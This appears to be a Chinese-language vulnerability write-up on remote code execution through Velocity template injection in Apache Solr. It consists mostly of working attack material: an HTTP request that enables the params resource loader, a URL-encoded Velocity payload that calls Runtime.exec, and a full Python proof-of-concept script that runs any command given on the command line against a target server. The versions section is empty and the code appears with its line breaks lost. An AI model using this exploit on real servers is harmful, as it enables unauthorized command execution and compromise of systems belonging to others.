漏洞描述
Apache Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。<br /> 国外安全研究员 @s00py发布了Apache Solr velocity模板注入漏洞及exp,目前官网还未发布对此漏洞的安全补丁。<br />[https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt](https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt)
影响版本
漏洞复现
首先,访问Core Admin得到应用Path路径
Set “params.resource.loader.enabled” as true
POST /solr/test/config HTTP/1.1Host: solr:8983Content-Type: application/jsonContent-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}}

执行命令
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1Host: localhost:8983

poc:
solr-velocity-rce.py
import requestsimport sysimport jsondef get_core(url):solr_url = url + '/solr/admin/cores?wt=json&indexInfo=false'r = requests.get(solr_url,verify=False,timeout=30)core_name = list(json.loads(r.text)["status"])[0]core_url = url + "/solr/" + core_name + "/config"set_config(core_url)def set_config(core_url):headers = {'User-Agent': "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; "".NET CLR 2.0.50727)",'Content-Type': 'application/json'}data = """{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}}"""r = requests.post(core_url,data=data,headers=headers,verify=False,timeout=30)if r.status_code == 200:print (r.content)exp_url = core_url[:-7]#print (exp_url)cmd = sys.argv[2]send_exp(exp_url,cmd)else:print ("set config false!\n")def send_exp(exp_url,cmd):exp_url = exp_url + "/select?q=1&&wt=velocity&v.template=custom&v.template.custom" \"=%23set(" \"$x=%27%27)+%23set($rt=$x.class.forName(" \"%27java.lang.Runtime%27))+%23set(" \"$chr=$x.class.forName(%27java.lang.Character%27))+%23set(" \"$str=$x.class.forName(" \"%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(" \"%27" + cmd + "%27))+$ex.waitFor(" \")+%23set($out=$ex.getInputStream())+%23foreach($i+in+[" \"1..$out.available(" \")])$str.valueOf($chr.toChars($out.read()))%23end"r = requests.get(exp_url,verify=False,timeout=30)print (exp_url)print (r.content)if __name__ == '__main__':url = sys.argv[1]print("\n[+] python %s http://x.x.x.x:8983 command\n" % sys.argv[0])get_core(url)
